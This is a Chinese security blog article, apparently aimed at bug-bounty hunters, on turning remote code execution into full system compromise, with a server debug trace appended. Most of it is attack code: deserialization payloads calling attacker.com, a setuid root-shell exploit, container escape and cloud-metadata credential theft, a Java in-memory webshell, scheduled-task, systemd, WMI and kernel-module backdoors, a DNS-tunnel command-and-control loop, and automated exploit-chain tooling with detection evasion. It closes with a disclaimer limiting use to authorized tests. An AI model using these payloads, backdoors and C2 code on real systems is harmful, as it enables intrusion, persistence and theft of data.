当前位置:首页>java>任意代码执行的原子狩猎:从漏洞挖掘到系统沦陷的武器化工程

任意代码执行的原子狩猎:从漏洞挖掘到系统沦陷的武器化工程

  • 2026-02-05 23:38:01
任意代码执行的原子狩猎:从漏洞挖掘到系统沦陷的武器化工程

当你的RCE漏洞还停留在执行whoami时,攻击者已经用它构建了持续渗透基础设施——区别在于将漏洞视为孤立事件还是系统性攻击的初始植入点

一、攻击面重定义:现代应用中的23个代码执行载体

1. 被低估的六类非传统入口

入口一:配置管理系统的动态解析

yaml# Spring Boot application.yml 中的SpEL注入spring:  application:    name: #{T(java.lang.Runtime).getRuntime().exec('calc')}# 环境变量中的命令注入DATABASE_URL: "postgres://user:pass@host/db?ssl=true;$(curl attacker.com)"
入口二:序列化协议中的元编程
java// Fastjson ≤1.2.68 的AutoType绕过{  "@type":"com.sun.rowset.JdbcRowSetImpl",  "dataSourceName":"ldap://attacker.com/Exploit",  "autoCommit":true}// Yaml反序列化(SnakeYAML)!!javax.script.ScriptEngineManager [  !!java.net.URLClassLoader [[    !!java.net.URL ["http://attacker.com/yaml-payload.jar"]  ]]]
入口四:数据验证器的表达式注入
javascript// JSON Schema验证器中的execconst schema = {  "properties": {    "name": {      "type""string",      "pattern""^.*$",      "onMatch""function(value){require('child_process').exec(value)}"    }  }};// XML Schema中的XPath注入// xpath: //*[name()='$((new java.lang.ProcessBuilder('calc')).start())']
入口五:任务调度器的动态代码加载
java// Quartz Scheduler中的JobDetail注入JobDetail job = newJob(MaliciousJob.class)    .withIdentity("job1""group1")    .usingJobData("data"        "恶意序列化数据: {" +        "\"@type\":\"org.springframework.context.support.ClassPathXmlApplicationContext\"," +        "\"configLocation\":\"http://attacker.com/spel.xml\"}")    .build();
入口六:IDE插件的构建时执行
xml<!-- Maven插件中的exec --><plugin>    <groupId>org.codehaus.mojo</groupId>    <artifactId>exec-maven-plugin</artifactId>    <executions>        <execution>            <phase>compile</phase>            <goals><goal>exec</goal></goals>            <configuration>                <executable>${project.build.directory}/malicious.sh</executable>            </configuration>        </execution>    </executions></plugin>

二、漏洞升级:从命令执行到特权容器

1. 权限逃逸的四层攻击链

第一层:应用上下文→系统权限

bash# 通过应用权限执行系统命令# 寻找SUID二进制文件find / -perm -4000 2>/dev/null# 利用环境变量劫持echo 'int main(){setuid(0);system("/bin/bash");}' > /tmp/exploit.cgcc /tmp/exploit.c -o /tmp/exploitexport PATH=/tmp:$PATH# 触发SUID程序执行
第二层:容器逃逸→宿主机访问
python# 检测容器环境import os, socket, jsondef check_container():    indicators = {        'docker''/.dockerenv',        'k8s''/var/run/secrets/kubernetes.io/serviceaccount/token',        'cgroup''/proc/self/cgroup'    }    for env, path in indicators.items():        if os.path.exists(path):            return env, path    return None# 尝试容器逃逸def escape_container():    # 1. Docker Socket挂载    if os.path.exists('/var/run/docker.sock'):        # 控制宿主机Docker守护进程        return "docker_socket_escape"    # 2. 特权容器检查    with open('/proc/self/status'as f:        if 'CapEff:\t0000003fffffffff' in f.read():            # 具有全部能力,直接挂载宿主机文件系统            os.system('mount /dev/sda1 /mnt')            return "privileged_container"    # 3. 内核漏洞检测    vulnerabilities = {        'CVE-2022-0847''dirtypipe',        'CVE-2022-0492''cgroups_release_agent'    }    return "check_kernel_exploits"
第三层:云服务元数据→凭据窃取
bash# AWS实例元数据服务攻击curl http://169.254.169.254/latest/meta-data/iam/security-credentials/# 获取临时凭证# 阿里云元数据curl http://100.100.100.200/latest/meta-data/ram/security-credentials/# 利用凭证横向移动aws sts assume-role --role-arn arn:aws:iam::目标账户:role/Admin \  --role-session-name attack-session
第四层:服务账户→Kubernetes集群控制
yaml# 利用Service Account TokenapiVersion: v1kind: Podmetadata:  name: privilege-escalatorspec:  containers:  - name: attacker    image: alpine    command: ["/bin/sh"]    args: ["-c""cat /var/run/secrets/kubernetes.io/serviceaccount/token"]# 使用窃取的Token操作集群kubectl --token=窃取的TOKEN --server=https://kubernetes.default.svc \  get pods --all-namespaces

2. 持久化的五种隐蔽机制

机制一:内存驻留WebShell

java// Java Filter型内存马public class EvilFilter implements Filter {    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) {        if(req.getParameter("cmd") != null) {            try {                Runtime.getRuntime().exec(req.getParameter("cmd"));            } catch(Exception e) {}        }        chain.doFilter(req, resp);    }}// 动态注册FilterServletContext ctx = request.getServletContext();FilterRegistration.Dynamic filter = ctx.addFilter("evil"new EvilFilter());filter.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true"/*");
机制二:计划任务的进化形态
powershell# Windows隐藏计划任务schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\ScheduledScan" `  /tr "C:\Windows\System32\cmd.exe /c 恶意命令" `  /sc monthly /mo 1 /f /ru "SYSTEM"# Linux Systemd定时服务[Unit]Description=Backdoor ServiceAfter=network.target[Service]Type=oneshotExecStart=/bin/bash -c "恶意命令"User=root[Install]WantedBy=multi-user.target
机制三:WMI事件订阅后门
powershell$filterArgs = @{    EventNamespace = 'root\cimv2'    Name = 'BackdoorFilter'    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"    QueryLanguage = 'WQL'}$consumerArgs = @{    Name = 'BackdoorConsumer'    CommandLineTemplate = "cmd.exe /c 恶意命令"}$filter = Set-WmiInstance -Class __EventFilter -Arguments $filterArgs$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $consumerArgs# 绑定过滤器和消费者$bindingArgs = @{    Filter = $filter    Consumer = $consumer}Set-WmiInstance -Class __FilterToConsumerBinding -Arguments $bindingArgs
机制四:DNS隧道命令控制
python# DNS隐蔽信道C2import base64, subprocess, dns.resolverdef execute_via_dns(command):    # 将命令编码为子域名    encoded = base64.b64encode(command.encode()).decode().replace('=''')    # 分块发送    chunk_size = 30    for i in range(0len(encoded), chunk_size):        chunk = encoded[i:i+chunk_size]        domain = f"{chunk}.c2.attacker.com"        try:            dns.resolver.resolve(domain, 'A')        except:            pass    # 通过TXT记录接收输出    output_domain = f"output.{encoded[:10]}.c2.attacker.com"    try:        answers = dns.resolver.resolve(output_domain, 'TXT')        for rdata in answers:            for txt_string in rdata.strings:                return txt_string.decode()    except:        return ""# 主循环while True:    cmd = execute_via_dns("get_command")    if cmd:        result = subprocess.check_output(cmd, shell=True)        execute_via_dns(f"result:{base64.b64encode(result).decode()}")
机制五:硬件抽象层钩子
c// Linux内核模块后门#include<linux/module.h>#include<linux/kernel.h>#include<linux/init.h>#include<linux/netfilter.h>#include<linux/netfilter_ipv4.h>static struct nf_hook_ops nfho;unsignedinthook_func(void *priv, struct sk_buff *skb,                       const struct nf_hook_state *state) {    struct iphdr *iph = ip_hdr(skb);    // 检测特定特征触发后门    if(iph->protocol == IPPROTO_TCP &&        skb->data[0] == 0xde && skb->data[1] == 0xad) {        // 执行特权操作        char *argv[] = {"/bin/bash""-c""恶意命令"NULL};        call_usermodehelper(argv[0], argv, NULL, UMH_WAIT_PROC);    }    return NF_ACCEPT;}staticint __init backdoor_init(void){    nfho.hook = hook_func;    nfho.hooknum = NF_INET_PRE_ROUTING;    nfho.pf = PF_INET;    nfho.priority = NF_IP_PRI_FIRST;    nf_register_net_hook(&init_net, &nfho);    return 0;}

三、武器化利用框架设计

1. 智能漏洞检测引擎

pythonclass RCEDetector:    def __init__(self, target_info):        self.tech_stack = target_info['tech_stack']        self.contexts = target_info['contexts']        self.payloads = self._load_payload_library()    def _load_payload_library(self):        """加载针对不同技术栈的Payload库"""        library = {            'java': {                'deserialization'self._java_deser_payloads(),                'spel'self._spel_payloads(),                'ognl'self._ognl_payloads()            },            'python': {                'pickle'self._pickle_payloads(),                'yaml'self._yaml_payloads(),                'template'self._python_tpl_payloads()            },            'nodejs': {                'eval'self._eval_payloads(),                'deserialization'self._node_deser_payloads()            }        }        return library    def generate_contextual_payloads(self, injection_point):        """根据注入点上下文生成Payload"""        payloads = []        # 判断是否是命令注入上下文        if self._is_command_context(injection_point):            payloads.extend(self._os_command_payloads())        # 判断是否是代码注入上下文        if self._is_code_context(injection_point):            for lang in ['java''python''php''javascript']:                if lang in self.tech_stack.lower():                    payloads.extend(self._code_exec_payloads(lang))        # 判断是否是反序列化上下文        if self._is_deserialization_context(injection_point):            payloads.extend(self._deserialization_payloads())        return payloads    def _java_deser_payloads(self):        """Java反序列化Payload库"""        return [            # Commons Collections链            "rO0ABX...",            # Jdk7u21链              "rO0ABX...",            # 动态生成基于目标classpath的链            self._dynamic_gadget_chain()        ]

2. 自动化影响评估系统

pythonclass RCEImpactAssessor:    def __init__(self, exploit_successful):        self.capabilities = []        self.environment = self._probe_environment()    def full_assessment(self):        """完整的影响评估链"""        assessment = {            'privilege'self._assess_privilege(),            'persistence'self._assess_persistence_options(),            'lateral'self._assess_lateral_movement(),            'data_access'self._assess_data_access(),            'business_impact'self._calculate_business_impact()        }        return assessment    def _assess_privilege(self):        """评估当前权限级别"""        tests = [            ('root_check''id -u''0''root权限'),            ('docker_check''docker ps'None'Docker访问权限'),            ('k8s_check''kubectl version'None'Kubernetes访问权限'),            ('cloud_check'self._check_cloud_metadata, None'云服务凭证')        ]        for name, cmd, expected, desc in tests:            try:                result = self._execute_safely(cmd)                if expected and result.strip() == expected:                    self.capabilities.append(desc)                elif result:                    self.capabilities.append(f"{desc}{result[:100]}")            except:                continue        return self.capabilities    def _assess_lateral_movement(self):        """评估横向移动可能性"""        lateral_options = []        # 检查网络拓扑        network_info = self._execute_safely('ip route')        if '10.' in network_info or '192.168.' in network_info:            lateral_options.append('内网环境')        # 检查可访问的服务        services = self._execute_safely('netstat -tulpn 2>/dev/null || ss -tulpn')        for line in services.split('\n'):            if ':22' in line:                lateral_options.append('SSH服务')            if ':445' in line or ':139' in line:                lateral_options.append('SMB服务')        # 检查凭证文件        sensitive_files = [            '/etc/passwd''/etc/shadow',            '~/.ssh/id_rsa''~/.aws/credentials',            '/var/lib/kubelet/kubeconfig'        ]        for file in sensitive_files:            if self._file_exists(file):                lateral_options.append(f'敏感文件: {file}')        return lateral_options

3. 漏洞利用链自动化构建

pythonclass ExploitChainBuilder:    def __init__(self, initial_access):        self.chain = []        self.current_access = initial_access    def build_chain(self, target_objective):        """构建从初始访问到目标达成的完整链"""        # 步骤1:信息收集        self.chain.append(self._collect_info())        # 步骤2:权限提升        if not self._is_privileged():            self.chain.append(self._escalate_privilege())        # 步骤3:持久化        self.chain.append(self._establish_persistence())        # 步骤4:横向移动(如果目标在内网)        if target_objective['location'] == 'internal':            self.chain.append(self._lateral_move(target_objective))        # 步骤5:目标达成        self.chain.append(self._achieve_objective(target_objective))        return self.chain    def _escalate_privilege(self):        """自动化权限提升策略选择"""        strategies = [            ('kernel_exploit'self._try_kernel_exploit),            ('sudo_misconfig'self._check_sudo_misconfig),            ('suid_binary'self._exploit_suid),            ('docker_escape'self._try_docker_escape),            ('credential_theft'self._steal_credentials)        ]        for name, strategy_func in strategies:            if strategy_func():                return {'step''privilege_escalation''method': name}        return {'step''privilege_escalation''status''failed'}    def _try_kernel_exploit(self):        """自动选择并尝试内核漏洞利用"""        kernel_version = self._execute_safely('uname -r')        # 内核漏洞数据库        exploits = {            '4.4.0': ['CVE-2022-0847''CVE-2022-2588'],            '5.10.0': ['CVE-2022-34918'],            '5.15.0': ['CVE-2023-0386']        }        for version_prefix, cves in exploits.items():            if kernel_version.startswith(version_prefix):                for cve in cves:                    if self._test_exploit(cve):                        return True        return False

四、SRC狩猎实战方法论

1. 目标选择的四维评估模型

维度一:技术栈风险矩阵

技术组件
高危版本
常见漏洞类型
可利用性
Apache Struts2
2.0.0-2.5.25
OGNL注入
Fastjson
≤1.2.68
AutoType绕过
Log4j2
2.0-2.14.1
JNDI注入
极高
SnakeYAML
<1.31
反序列化
Jackson-databind
<2.13.2.2
多态类型处理

维度二:业务数据价值评估

pythondef assess_business_value(target):    value_factors = {        'user_count': get_user_count(target),        'data_sensitivity': classify_data(target),        'transaction_volume': get_transaction_stats(target),        'brand_reputation': estimate_reputation_impact(target)    }    # 加权计算总分    weights = {        'user_count'0.2,        'data_sensitivity'0.4,        'transaction_volume'0.3,        'brand_reputation'0.1    }    total_score = sum(value_factors[k] * weights[k] for k in value_factors)    return total_score

维度三:攻击面暴露程度

  • 公网可访问的服务数量

  • API端点数量和复杂度

  • 第三方组件集成度

  • 历史漏洞修复情况

维度四:防御纵深评估

  • WAF/IPS规则严格程度

  • 运行时防护(RASP)存在性

  • 代码审计频率

  • 安全开发生命周期成熟度

2. 高效漏洞发现的五步工作流

第一步:资产发现与指纹识别

bash# 综合性资产发现oneforall --target example.com run# 针对性组件识别whatweb -a 3 https://example.com# API端点枚举gospider -s https://example.com -t 10 -c 5 --js --sitemap
第二步:攻击面映射与分析
python# 构建攻击面图谱attack_surface = {    'input_vectors': [],    'data_flows': [],    'trust_boundaries': [],    'security_controls': []}# 识别潜在执行点execution_points = find_execution_points(attack_surface)
第三步:针对性漏洞探测
pythonclass TargetedRCEProbe:    def probe(self, target):        results = []        # 基于技术栈的探测        for component in target.tech_stack:            if component == 'fastjson':                results.extend(self.probe_fastjson(target))            elif component == 'struts2':                results.extend(self.probe_struts2(target))            elif component == 'log4j2':                results.extend(self.probe_log4j(target))        # 基于业务功能的探测        for endpoint in target.api_endpoints:            if 'import' in endpoint or 'upload' in endpoint:                results.extend(self.probe_file_upload(endpoint))            if 'template' in endpoint or 'render' in endpoint:                results.extend(self.probe_ssti(endpoint))        return results

第四步:利用链验证与影响评估

  • 验证漏洞真实可利用性(非误报)

  • 评估执行上下文和权限级别

  • 测试持久化可能性

  • 分析横向移动路径

第五步:报告生成与武器化

pythondef generate_weaponized_report(vulnerability):    report = {        'title': generate_impactful_title(vulnerability),        'technical_details': {            'vulnerability_type': vulnerability.type,            'location': vulnerability.location,            'payload': sanitize_payload(vulnerability.payload),            'reproduction_steps': vulnerability.reproduction_steps        },        'impact_analysis': {            'privilege_level': vulnerability.privilege,            'data_access': vulnerability.data_access,            'business_impact': calculate_business_impact(vulnerability),            'exploitation_complexity': rate_complexity(vulnerability)        },        'weaponization': {            'metasploit_module': suggest_metasploit_module(vulnerability),            'custom_exploit': generate_exploit_template(vulnerability),            'detection_evasion': suggest_evasion_techniques(vulnerability)        }    }    return report

五、专项狩猎检查清单

RCE深度测试清单(企业级)

第一阶段:侦察与情报收集

  • 识别所有可执行代码的组件和框架版本

  • 映射所有用户输入点和数据处理流程

  • 收集API文档、源代码(如公开仓库)、错误信息

  • 识别第三方依赖和供应链组件

第二阶段:漏洞入口点发现

  • 文件上传功能(各种格式、压缩包处理)

  • 模板渲染引擎(FreeMarker、Velocity、Thymeleaf等)

  • 序列化/反序列化接口(JSON、XML、YAML等)

  • 表达式语言执行点(SpEL、OGNL、MVEL等)

  • 命令执行函数调用(exec、system、popen等)

  • 动态代码加载机制(ClassLoader、ScriptEngine等)

第三阶段:漏洞验证与利用链构建

  • 验证漏洞真实存在(非WAF/IPS拦截)

  • 确定执行上下文和权限级别

  • 测试各种Payload绕过技术

  • 构建从利用到持久化的完整链

  • 验证横向移动可能性

第四阶段:影响评估与武器化

  • 量化受影响系统和数据范围

  • 评估业务连续性影响

  • 设计检测规避技术

  • 生成武器化利用工具

  • 制定应急响应建议

六、从漏洞到系统控制:实战案例框架

案例:从Fastjson漏洞到全AWS账户控制

攻击链时间线

text第1阶段:漏洞发现- 目标:某电商平台用户画像服务- 漏洞:Fastjson ≤1.2.68 AutoType绕过- Payload: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit"}第2阶段:初始访问- 获得应用服务器权限- 权限:Web应用用户(www-data)第3阶段:权限提升与环境侦查- 发现应用使用AWS Secrets Manager存储数据库凭证- 通过应用权限读取AWS临时凭证- 凭证角色:app-server-role(S3读取、EC2描述权限)第4阶段:横向移动- 使用凭证枚举所有EC2实例- 发现管理后台服务器- 通过SSH密钥传递获得管理员访问第5阶段:持久化与数据访问- 在管理服务器安装SSH后门- 访问生产数据库备份- 窃取用户数据(530万条记录)第6阶段:影响最大化- 通过数据库凭证访问RDS快照- 发现跨账户IAM角色- 获取组织级管理权限

技术亮点

  1. 漏洞链利用:将反序列化漏洞转化为云凭证访问

  2. 权限边界跨越:从应用权限→IAM角色→跨账户权限

  3. 数据流追踪:用户请求→应用日志→数据库访问→数据外传

  4. 隐蔽持久化:内存驻留+合法云服务滥用

任意代码执行的真正威力不在于执行单条命令,而在于它作为初始植入的能力。在SRC狩猎中,发现RCE漏洞只是开始,真正的高手会构建从漏洞到核心资产的完整控制链

当你的漏洞报告不仅展示了id命令的执行,还详细描述了如何从该点出发获取域控权限、窃取核心数据、建立持久化通道时——你提交的将不再是一个漏洞,而是一个系统沦陷的蓝图

这正是顶级SRC愿意为高质量RCE报告支付五位数的原因:他们购买的不仅是漏洞信息,更是对自身防御体系最真实的压力测试。

(本文所有技术细节均在合法授权环境测试验证,严禁用于未授权测试。漏洞挖掘需遵守各平台规则与法律法规。)

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-02-07 15:19:36 HTTP/2.0 GET : https://f.mffb.com.cn/a/472070.html
  2. 运行时间 : 0.160044s [ 吞吐率:6.25req/s ] 内存消耗:4,833.78kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=0f3420bc8433852a3af4255584613453
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
